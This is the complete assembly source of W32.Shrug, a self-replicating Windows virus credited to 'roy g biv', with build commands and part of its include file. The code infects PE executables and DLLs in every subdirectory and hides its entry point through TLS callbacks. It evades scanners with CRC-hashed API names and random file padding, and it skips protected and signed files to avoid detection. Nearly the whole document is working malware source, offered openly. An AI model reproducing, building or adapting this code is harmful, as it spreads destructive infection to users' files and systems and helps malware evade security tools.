ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.ASM]ÄÄÄ
comment ;)
W32.Shrug by roy g biv

some of its features:
- parasitic direct action infector of PE exe/dll (but not looking at suffix)
- infects files in current directory and all subdirectories
- directory traversal is linked-list instead of recursive to reduce stack size
- reloc section inserter/last section appender
- mixture of EPO and standard transfer of control:
        TLS infection (but runs only under NT/2000/XP)
        altered entry point field in DLLs (all platforms)
        code executes after ExitProcess() is called
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are not always altered (virus is not self-modifying)
- no infect files with data outside of image (eg self-extractors)
- no infect files protected by SFC/SFP (including under Windows XP)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before
---

  optimisation tip: Windows appends ".dll" automatically, so this works:
        push "cfs"
        push esp
        call LoadLibraryA
---

to build this thing:
tasm
----
tasm32 /ml /m3 shrug
tlink32 /B:400000 /x shrug,,,import32

Virus is not self-modifying, so no need to alter section attributes
---

We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)

(;

.386
.model  flat

extern  GetCurrentProcess:proc
extern  WriteProcessMemory:proc
extern  MessageBoxA:proc
extern  ExitProcess:proc

.data

;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper

krnnames        db      "UnmapViewOfFile"     , 0
                db      "SetFileTime"         , 0
                db      "SetFileAttributesW"  , 0
                db      "SetFileAttributesA"  , 0
                db      "SetCurrentDirectoryW", 0
                db      "SetCurrentDirectoryA", 0
                db      "MultiByteToWideChar" , 0
                db      "MapViewOfFile"       , 0
                db      "LoadLibraryA"        , 0
                db      "GlobalFree"          , 0
                db      "GlobalAlloc"         , 0
                db      "GetVersion"          , 0
                db      "GetTickCount"        , 0
                db      "GetFullPathNameW"    , 0
                db      "GetFullPathNameA"    , 0
                db      "FindNextFileW"       , 0
                db      "FindNextFileA"       , 0
                db      "FindFirstFileW"      , 0
                db      "FindFirstFileA"      , 0
                db      "FindClose"           , 0
                db      "CreateFileW"         , 0
                db      "CreateFileMappingA"  , 0
                db      "CreateFileA"         , 0
                db      "CloseHandle"         , 0

sfcnames        db      "SfcIsFileProtected", 0

txttitle        db      "Shrug", 0
txtbody         db      "running...", 0

include shrug.inc

.code
assume fs:nothing

dropper         label   near
        mov     edx, krncrc_count
        mov     ebx, offset krnnames
        mov     edi, offset krncrcbegin
        call    create_crcs
        mov     edx, 1
        mov     ebx, offset sfcnames
        mov     edi, offset sfccrcbegin
        call    create_crcs
        call    patch_host
        xor     ebx, ebx
        push    ebx
        push    offset txttitle
        push    offset txtbody
        push    ebx
        call    MessageBoxA
        push    ebx
        call    ExitProcess

create_crcs     proc    near
        imul    ebp, edx, 4

create_loop     label   near
        or      eax, -1

create_outer    label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

create_inner    label   near
        add     eax, eax
        jnb     create_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

create_skip     label   near
        loop    create_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      create_outer
        push    eax
        dec     edx
        jne     create_loop
        mov     eax, esp
        push    ecx
        push    ebp
        push    eax
        push    edi
        call    GetCurrentProcess
        push    eax
        xchg    esi, eax
        call    WriteProcessMemory
        add     esp, ebp
        ret
create_crcs     endp

patch_host      label   near
        pop     ecx
        push    ecx
        call    $ + 5
        pop     eax
        add     eax, offset tlsdata - offset $ + 1
        sub     ecx, eax
        push    ecx
        mov     eax, esp
        xor     edi, edi
        push    edi
        push    4
        push    eax
        push    offset host_patch + 3
        push    esi
        call    WriteProcessMemory
        push    edi                             ;fake Reserved
        push    edi                             ;fake Reason
        push    edi                             ;fake DLLHandle
        push    edi                             ;fake return address
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------

;-----------------------------------------------------------------------------
;virus code begins here in dlls (always) and exes (existing TLS callback pointer)
;-----------------------------------------------------------------------------

shrug_tlscode   proc    near
        mov     eax, dword ptr [esp + initstk.initReason]
        push    eax                             ;fake Reserved
        push    eax                             ;real Reason
        push    eax                             ;fake DLLHandle
        call    host_patch                      ;real return address

tlsdata         tlsstruc <0>                    ;label required for delta offset

;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;and it's not used for delta offset calculation, but for original entry point
;-----------------------------------------------------------------------------

host_patch      label   near
        add     dword ptr [esp], '!bgr'

;-----------------------------------------------------------------------------
;virus code begins here in exes (created TLS directory / callback pointer)
;-----------------------------------------------------------------------------

shrug_dllcode   proc    near                    ;stack = DllHandle, Reason, Reserved
        test    byte ptr [esp + initstk.initReason], DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH
        jne     shrug_dllret                    ;kernel32 not in SEH chain on ATTACH messages
        pushad
        call    shrug_common
        mov     esp, dword ptr [esp + sehstruc.sehprevseh]
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad

shrug_dllret    label   near
        ret     0ch

;-----------------------------------------------------------------------------
;main virus body.  everything happens in here
;-----------------------------------------------------------------------------

shrug_common    proc    near
        xor     esi, esi
        lods    dword ptr fs:[esi]
        push    eax
        mov     dword ptr fs:[esi - 4], esp
        inc     eax

walk_seh        label   near
        dec     eax
        xchg    esi, eax
        lods    dword ptr [esi]
        inc     eax
        jne     walk_seh
        enter   (size findlist - 5) and -4, 0   ;Windows NT/2000/XP enables alignment check exception
                                                ;so some APIs fail if buffer is not dword aligned
                                                ;-5 to align at 2 dwords earlier
                                                ;because EBP saved automatically
                                                ;and other register saved next
        push    eax                             ;zero findprev in findlist
        lods    dword ptr [esi]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (krncrc_count + 1) dup (0)
krncrcend       label   near
        dd      offset check_sfc - offset krncrcend + 4
        db      "Shrug - roy g biv"             ;your guess is as good as mine

init_findmz     label   near
        inc     eax
        xchg    edi, eax

find_mzhdr      label   near

;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------

        dec     edi                             ;sub 64kb
        xor     di, di                          ;64kb align
        call    is_pehdr
        jne     find_mzhdr
        mov     ebx, edi
        pop     edi

;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------

        mov     esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
        lea     esi, dword ptr [ebx + esi + peexp.expadrrva]
        lods    dword ptr [esi]                 ;Export Address Table RVA
        lea     edx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Name Pointer Table RVA
        lea     ecx, dword ptr [ebx + eax]
        lods    dword ptr [esi]                 ;Ordinal Table RVA
        lea     ebp, dword ptr [ebx + eax]
        mov     esi, ecx

push_export     label   near
        push    ecx

get_export      label   near
        lods    dword ptr [esi]
        push    ebx
        add     ebx, eax                        ;Name Pointer VA
        or      eax, -1

crc_outer       label   near
        xor     al, byte ptr [ebx]
        push    8
        pop     ecx

crc_inner       label   near
        add     eax, eax
        jnb     crc_skip
        xor     eax, 4c11db7h                   ;use generator polymonial (see IEEE 802)

crc_skip        label   near
        loop    crc_inner
        sub     cl, byte ptr [ebx]              ;carry set if not zero
        inc     ebx                             ;carry not altered by inc
        jb      crc_outer
        pop     ebx
        cmp     dword ptr [edi], eax
        jne     get_export

;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------

        pop     ecx
        mov     eax, esi
        sub     eax, ecx                        ;Name Pointer Table VA
        shr     eax, 1
        movzx   eax, word ptr [ebp + eax - 2]   ;get export ordinal
        mov     eax, dword ptr [eax * 4 + edx]  ;get export RVA
        add     eax, ebx
        push    eax
        scas    dword ptr [edi]
        cmp     dword ptr [edi], 0
        jne     push_export
        add     edi, dword ptr [edi + 4]
        jmp     edi

;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------

check_sfc       label   near
        call    load_sfc
        db      "sfc_os", 0                     ;Windows XP (forwarder chain from sfc.dll)

load_sfc        label   near
        call    dword ptr [esp + krncrcstk.kLoadLibraryA]
        test    eax, eax
        jne     found_sfc
        push    'cfs'                           ;Windows Me/2000
        push    esp
        call    dword ptr [esp + 4 + krncrcstk.kLoadLibraryA]
        pop     ecx
        test    eax, eax
        je      sfcapi_push

found_sfc       label   near
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

sfccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      0, 0
sfccrcend       label   near
        dd      offset swap_create - offset sfccrcend + 4

sfcapi_push     label   near
        push    eax

swap_create     label   near

;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------

        mov     ebx, esp
        mov     eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
        xchg    dword ptr [ebx + krncrcstk.kCreateFileW], eax
        mov     dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax

;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;so for Windows NT/2000/XP this code handles files that no ANSI function can open
;-----------------------------------------------------------------------------

        call    dword ptr [ebx + krncrcstk.kGetVersion]
        shr     eax, 1fh                        ;treat 9x and Win32s as ANSI
                                                ;safer than using AreFileApisANSI()
        lea     ebp, dword ptr [eax * 4 + ebx]
        lea     esi, dword ptr [ebx + size krncrcstk]

;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------

scan_dir        proc    near                    ;ebp -> platform APIs, esi -> findlist
        push    '*'                             ;ANSI-compatible Unicode findmask
        mov     eax, esp
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        push    eax
        call    dword ptr [ebp + krncrcstk.kFindFirstFileW]
        pop     ecx
        mov     dword ptr [esi + findlist.findhand], eax
        inc     eax
        je      find_prev

        ;you must always step forward from where you stand

test_dirfile    label   near
        mov     eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        test    al, FILE_ATTRIBUTE_DIRECTORY
        je      test_file
        cmp     byte ptr [edi], '.'             ;ignore . and .. (but also .* directories under NT/2000/XP)
        je      find_next

;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------

        push    edi
        call    dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
        xchg    ecx, eax
        jecxz   find_next
        push    size findlist
        push    GMEM_FIXED
        call    dword ptr [esp + krncrcstk.kGlobalAlloc + 8]
        xchg    ecx, eax
        jecxz   step_updir
        xchg    esi, ecx
        mov     dword ptr [esi + findlist.findprev], ecx
        jmp     scan_dir

find_next       label   near
        lea     ebx, dword ptr [esi + findlist.finddata]
        push    ebx
        mov     edi, dword ptr [esi + findlist.findhand]
        push    edi
        call    dword ptr [ebp + krncrcstk.kFindNextFileW]
        test    eax, eax
        jne     test_dirfile

;-----------------------------------------------------------------------------
;close find, and free list node if not list head
;-----------------------------------------------------------------------------

        mov     ebx, esp
        push    edi
        call    dword ptr [ebx + krncrcstk.kFindClose]

find_prev       label   near
        mov     ecx, dword ptr [esi + findlist.findprev]
        jecxz   shrug_exit
        push    esi
        mov     esi, ecx
        call    dword ptr [ebx + krncrcstk.kGlobalFree]

step_updir      label   near

;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------

        push    '..'
        org     $ - 1                           ;select top 8 bits of push
shrug_exit      label   near
        int     3                               ;game over

        push    esp
        call    dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA]
        pop     eax
        jmp     find_next

test_file       label   near

;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------

        push    eax                             ;save original file attributes for close
        mov     eax, ebp
        enter   MAX_PATH * 2, 0
        mov     ecx, esp
        push    eax
        push    esp
        push    ecx
        push    MAX_PATH
        push    edi
        call    dword ptr [eax + krncrcstk.kGetFullPathNameW]
        xchg    edi, eax
        pop     eax
        xor     ebx, ebx
        call    dword ptr [ebp + 8 + krncrcstk.kGetVersion]
        test    eax, eax
        jns     call_sfcapi
        mov     ecx, esp
        xchg    ebp, eax
        enter   MAX_PATH * 2, 0
        xchg    ebp, eax
        mov     eax, esp
        push    MAX_PATH
        push    eax
        inc     edi
        push    edi
        push    ecx
        push    ebx                             ;use default translation
        push    ebx                             ;CP_ANSI
        call    dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar]

call_sfcapi     label   near

;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------

        mov     ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected]
        xor     eax, eax                        ;fake success in case of no SFC
        jecxz   leave_sfc
        push    esp
        push    ebx
        call    ecx

leave_sfc       label   near
        leave
        test    eax, eax
        jne     restore_attr
        call    set_fileattr
        push    ebx
        push    ebx
        push    OPEN_EXISTING
        push    ebx
        push    ebx
        push    GENERIC_READ or GENERIC_WRITE
        push    edi
        call    dword ptr [ebp + krncrcstk.kCreateFileW]
        xchg    ebx, eax
        call    test_infect
        db      81h                             ;mask CALL
        call    infect_file                     ;Super Nashwan power ;)

close_file      label   near                    ;label required for delta offset
        lea     eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
        push    eax
        sub     eax, 8
        push    eax
        sub     eax, 8
        push    eax
        push    ebx
        call    dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h]
        push    ebx
        call    dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4]

restore_attr    label   near
        pop     ebx                             ;restore original file attributes
        call    set_fileattr
        jmp     find_next
scan_dir        endp

;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------

is_pehdr        proc    near                    ;edi -> map view
        cmp     word ptr [edi], 'ZM'            ;Windows does not check 'MZ'
        jne     pehdr_ret
        mov     esi, dword ptr [edi + mzhdr.mzlfanew]
        add     esi, edi
        lods    dword ptr [esi]                 ;SEH protects against bad lfanew value
        add     eax, -'EP'                      ;anti-heuristic test filetype ;) and clear EAX

pehdr_ret       label   near
        ret                                     ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr        endp

;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------

set_fileattr    proc    near                    ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
        push    ebx
        lea     edi, dword ptr [esi + findlist.finddata.cFileName]
        push    edi
        call    dword ptr [ebp + krncrcstk.kSetFileAttributesW]
        ret                                     ;edi -> filename
        db      "01/01/01"                      ;01 Janvier, 1901 - the old joke
set_fileattr    endp

;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------

test_infect     proc    near                    ;esi = find data, edi = map view, ebp -> platform APIs
        call    map_view
        mov     ebp, esi
        call    is_pehdr
        jne     inftest_ret
        lods    dword ptr [esi]
        cmp     ax, IMAGE_FILE_MACHINE_I386
        jne     inftest_ret                     ;only Intel 386+
        shr     eax, 0dh                        ;move high 16 bits into low 16 bits and multiply by 8
        lea     edx, dword ptr [eax * 4 + eax]  ;complete multiply by 28h (size pesect)
        mov     ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]

;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;-----------------------------------------------------------------------------

        test    ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
        jne     inftest_ret
        add     esi, pehdr.peentrypoint - pehdr.pecoff.petimedate

;-----------------------------------------------------------------------------
;if file is a .dll, then we require an entry point function
;-----------------------------------------------------------------------------

        lods    dword ptr [esi]
        xchg    ecx, eax
        test    ah, IMAGE_FILE_DLL shr 8
        je      test_system
        jecxz   inftest_ret

;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------

test_system     label   near
        and     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        cmp     ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
        jne     inftest_ret                     ;cannot use xor+jpo because 0 is also jpe

;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------

        mov     eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
        cmp     ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
        jnbe    inftest_ret
        cmp     al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
        jb      inftest_ret
        shr     eax, 1eh                        ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
        jb      inftest_ret

;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------

        cmp     dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0
        jne     inftest_ret

;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------

        movzx   eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
        add     eax, edx
        lea     esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        add     eax, dword ptr [esi]
        cmp     dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
        jne     inftest_ret                     ;file contains appended data
        inc     dword ptr [esp + mapsehstk.mapsehinfret]
                                                ;skip call mask

inftest_ret     label   near
        int     3

;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------

open_append     proc    near
        call    dword ptr [esp + size mapstack - 4 + krncrcstk.kGetTickCount]
        and     eax, RANDPADMAX - 1
        add     ax, small (offset shrug_codeend - offset shrug_tlscode + RANDPADMIN)

;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------

map_view        proc    near                    ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
        add     eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
        xor     ecx, ecx
        push    eax
        mov     edx, esp
        push    eax                             ;MapViewOfFile
        push    ecx                             ;MapViewOfFile
        push    ecx                             ;MapViewOfFile
        push    FILE_MAP_WRITE                  ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
        push    ecx
        push    eax
        push    ecx
        push    PAGE_READWRITE
        push    ecx
        push    ebx
        call    dword ptr [edx + size mapstack + krncrcstk.kCreateFileMappingA]
                                                ;ANSI map is allowed because of no name
        push    eax
        xchg    edi, eax
        call    dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h]
        pop     ecx
        xchg    edi, eax                        ;should succeed even if file cannot be opened
        pushad
        call    unmap_seh
        mov     esp, dword ptr [esp + sehstruc.sehprevseh]
        xor     eax, eax
        pop     dword ptr fs:[eax]
        pop     eax
        popad                                   ;SEH destroys all registers
        push    eax
        push    edi
        call    dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4]
        call    dword ptr [esp + size mapstack + krncrcstk.kCloseHandle]
        pop     eax
        ret

unmap_seh       proc    near
        cdq
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx], esp
        jmp     dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh       endp
map_view        endp                            ;eax = map handle, ecx = new file size, edi = map view
open_append     endp

;-----------------------------------------------------------------------------
;infect file using a selection of styles for variety
;algorithm:     increase file size by random amount (RANDPADMIN-RANDPADMAX
;               bytes) to confuse scanners that look at end of file (also
;               infection marker)
;               if reloc table is not in last section (taken from relocation
;               field in PE header, not section name), then append to last
;               section.  otherwise, move relocs down and insert code into
;               space (to confuse people looking at end of file.  they will
;               see only relocation data and garbage or many zeroes)
;DLL infection: entry point is altered to point to virus code.  very simple
;EXE infection: Entry Point Obscured via TLS callback function
;               if no TLS directory exists, then one will be created, with a
;               single callback function that points to this code
;               if a TLS directory exists, but no callback functions exist,
;               then a function pointer will be created that points to this
;               code
;               else if a TLS directory and callback functions exist, then the
;               first function pointer will be altered to point to this code
;-----------------------------------------------------------------------------

infect_file     label   near                    ;esi -> findlist, edi = map view
        call    open_append

delta_label     label   near
        push    ecx
        push    edi
        mov     ebx, dword ptr [edi + mzhdr.mzlfanew]
        lea     ebx, dword ptr [ebx + edi + pehdr.pechksum]
        movzx   eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
        imul    eax, eax, size pesect
        movzx   ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
        add     eax, ecx
        lea     esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
        lods    dword ptr [esi]
        mov     cx, offset shrug_codeend - offset shrug_tlscode
        mov     edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
        push    eax
        add     eax, ecx
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx                        ;file align last section
        mov     dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax

;-----------------------------------------------------------------------------
;raw size is file aligned.  virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------

        mov     ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
        cmp     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        jnb     test_reloff
        mov     dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
        add     eax, ebp
        mov     edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
        dec     edx
        add     eax, edx
        not     edx
        and     eax, edx
        mov     dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax

;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------

test_reloff     label   near
        test    byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
        jne     copy_code
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
        jb      copy_code
        mov     eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
        add     eax, ebp
        cmp     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
        jnb     copy_code
        add     dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
        pop     eax
        push    esi
        add     edi, dword ptr [esi]
        lea     esi, dword ptr [edi + eax - 1]
        lea     edi, dword ptr [esi + ecx]
        xchg    ecx, eax
        std
        rep     movs byte ptr [edi], byte ptr [esi]
        cld
        pop     esi
        pop     edi
        push    edi
        push    ecx
        xchg    ecx, eax

copy_code       label   near
        pop     edx
        add     ebp, edx
        xchg    ebp, eax
        add     edx, dword ptr [esi]
        add     edi, edx
        push    esi
        push    edi
        mov     esi, offset shrug_tlscode - offset delta_label
        add     esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
                                                ;delta offset
        rep     movs byte ptr [edi], byte ptr [esi]
        pop     edi
        pop     esi

;-----------------------------------------------------------------------------
;always alter entry point of dlls
;-----------------------------------------------------------------------------

        test    byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum + 1], IMAGE_FILE_DLL shr 8
        je      test_tlsdir
        lea     edx, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]

alter_func      label   near
        xchg    dword ptr [edx], eax
        sub     eax, offset tlsdata - offset shrug_tlscode
        sub     eax, dword ptr [edx]
        mov     dword ptr [edi + offset host_patch - offset shrug_tlscode + 3], eax
        jmp     checksum_file

;-----------------------------------------------------------------------------
;if tls directory exists...
;-----------------------------------------------------------------------------

test_tlsdir     label   near
        mov     ecx, dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum]
        jecxz   add_tlsdir                      ;size field is never checked
        call    rva2raw
        pop     edx
        push    edx
        add     eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
        push    eax
        lea     eax, dword ptr [edx + ecx + tlsstruc.tlsfuncptr]
        mov     ecx, dword ptr [eax]
        jecxz   store_func
        sub     ecx, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
        call    rva2raw
        add     edx, ecx                        ;do not combine
        mov     ecx, dword ptr [edx]            ;current edx used by alter_func

        ;it is impossible if it passes unattempted

store_func      label   near
        test    ecx, ecx
        pop     ecx
        xchg    ecx, eax
        jne     alter_func
        add     eax, offset tlsdata.tlsfunc - offset shrug_tlscode
        mov     dword ptr [ecx], eax
        add     edi, offset tlsdata.tlsfiller - offset shrug_tlscode
        jmp     set_funcptr

;-----------------------------------------------------------------------------
;the only time that the section attributes are altered is when a TLS directory
;is created.  at that time, a writable dword must be available for the index.
;the alternative is to search for a writable section with virtual size > raw
;size, set index pointer to that address and reinitialise it to zero in code
;-----------------------------------------------------------------------------

add_tlsdir      label   near
        or      byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], IMAGE_SCN_MEM_WRITE shr 18h
        add     eax, offset tlsdata - offset shrug_tlscode
        mov     dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum], eax
        add     eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
        add     eax, offset tlsdata.tlsflags - offset tlsdata
        add     edi, offset tlsdata.tlsindex - offset shrug_tlscode
        stos    dword ptr [edi]
        add     eax, offset tlsdata.tlsfunc - offset tlsdata.tlsflags
        stos    dword ptr [edi]

set_funcptr     label   near
        scas    dword ptr [edi]
        scas    dword ptr [edi]
        add     eax, offset shrug_dllcode - offset tlsdata.tlsfunc
        stos    dword ptr [edi]

checksum_file   label   near
        pop     edi

;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------

        xor     ecx, ecx
        xchg    dword ptr [ebx], ecx
        jecxz   infect_ret
        xor     eax, eax
        pop     ecx
        push    ecx
        inc     ecx
        shr     ecx, 1
        clc

calc_checksum   label   near
        adc     ax, word ptr [edi]
        inc     edi
        inc     edi
        loop    calc_checksum
        pop     dword ptr [ebx]
        adc     dword ptr [ebx], eax            ;avoid common bug.  ADC not ADD

infect_ret      label   near
        int     3                               ;common exit using SEH
        db      "*4U2NV*"                       ;that is, unless you're reading this
test_infect     endp

;-----------------------------------------------------------------------------
;convert relative virtual address to raw file offset
;-----------------------------------------------------------------------------

rvaloop         label   near
        sub     esi, size pesect
        cmp     al, 'R'                         ;mask PUSH ESI
        org     $ - 1
rva2raw         proc    near                    ;ecx = RVA, esi -> last section header
        push    esi
        cmp     dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx
        jnbe    rvaloop
        sub     ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
        add     ecx, dword ptr [esi]
        pop     esi
        ret
rva2raw        endp

        ;When last comes to last,
        ;  I have little power:
        ;  I am merely an urn.
        ;I hold the bone-sap of myself,
        ;  And watch the marrow burn.
        ;
        ;When last comes to last,
        ;  I have little strength:
        ;  I am only a tool.
        ;I work its work; and in its hands
        ;  I am the fool.
        ;
        ;When last comes to last,
        ;  I have little life.
        ;  I am simply a deed:
        ;an action done while courage holds:
        ;  A seed.
        ;(Stephen Donaldson)

shrug_codeend   label   near
shrug_common    endp
shrug_dllcode   endp
shrug_tlscode   endp
end             dropper
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.INC]ÄÄÄ
MAX_PATH                        equ     260

DLL_PROCESS_ATTACH              equ     1
DLL_THREAD_ATTACH               equ     2

FILE_ATTRIBUTE_DIRECTORY        equ     00000010h
FILE_ATTRIBUTE_NORMAL           equ     00000080h
FILE_FLAG_RANDOM_ACCESS         equ     10000000h

GMEM_FIXED                      equ     0000h

OPEN_EXISTING                   equ     3

GENERIC_WRITE                   equ     40000000h
GENERIC_READ                    equ     80000000h

IMAGE_FILE_MACHINE_I386         equ     14ch    ;14d/14e do not exist.  if you don't believe, then try it

IMAGE_FILE_RELOCS_STRIPPED      equ     0001h
